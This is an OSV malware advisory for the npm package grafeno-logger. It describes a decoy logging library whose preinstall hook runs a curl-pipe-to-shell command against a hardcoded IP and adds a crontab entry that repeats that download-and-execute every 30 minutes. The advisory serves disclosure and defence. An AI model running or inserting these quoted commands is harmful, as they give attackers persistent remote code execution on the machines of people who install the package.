npm

grafeno-logger @1.0.1

Vulnerability report · Last retrieved from osv.dev August 29, 2026 at 8:35 AM UTC

Malicious

OSV ID

MAL-2026-15506

Ecosystem

npm

Summary

grafeno-logger@1.0.0 is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on npm install . The same preinstall step appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh , establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.

Source: amazon-inspector (6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413)

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